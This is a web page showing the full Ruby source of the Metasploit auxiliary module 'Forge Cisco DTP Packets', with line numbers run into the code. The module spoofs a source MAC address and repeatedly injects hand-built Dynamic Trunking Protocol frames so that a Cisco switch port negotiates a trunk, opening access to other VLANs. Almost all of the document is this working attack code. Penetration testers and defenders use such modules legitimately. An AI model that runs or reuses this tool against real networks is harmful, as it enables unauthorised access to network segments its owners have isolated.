Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/spoof/cisco/dtp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Capture78def initialize(info = {})9super(10'Name' => 'Forge Cisco DTP Packets',11'Description' => %q{12This module forges DTP packets to initialize a trunk port.13},14'Author' => [ 'Spencer McIntyre' ],15'License' => MSF_LICENSE,16'Actions' =>17[18[ 'Service', 'Description' => 'Run DTP forging service' ]19],20'PassiveActions' => [ 'Service' ],21'DefaultAction' => 'Service'22)23register_options(24[25OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']),26])27deregister_options('RHOST', 'PCAPFILE')28end2930def setup31super32unless datastore['SMAC'] || datastore['INTERFACE']33raise ArgumentError, 'Must specify SMAC or INTERFACE'34end35end3637def build_dtp_frame38p = PacketFu::EthPacket.new39p.eth_daddr = '01:00:0c:cc:cc:cc'40p.eth_saddr = smac41llc_hdr = "\xaa\xaa\x03\x00\x00\x0c\x20\x04"42dtp_hdr = "\x01" # version43dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain44dtp_hdr << "\x00\x02\x00\x05\x03" # status45dtp_hdr << "\x00\x03\x00\x05\x45" # dtp type46dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor47p.eth_proto = llc_hdr.length + dtp_hdr.length48p.payload = llc_hdr << dtp_hdr49p50end5152def is_mac?(mac)53!!(mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/)54end5556def smac57@spoof_mac ||= datastore['SMAC']58@spoof_mac ||= get_mac(datastore['INTERFACE']) if netifaces_implemented?59return @spoof_mac60end6162def run63unless smac()64print_error 'Source MAC (SMAC) should be defined'65else66unless is_mac? smac67print_error "Source MAC (SMAC) `#{smac}' is badly formatted."68else69print_status "Starting DTP spoofing service..."70open_pcap({'FILTER' => "ether host 01:00:0c:cc:cc:cc"})71interface = datastore['INTERFACE'] || Pcap.lookupdev72dtp = build_dtp_frame()73@run = true74while @run75capture.inject(dtp.to_s)76select(nil, nil, nil, 60)77end78close_pcap79end80end81end82end838485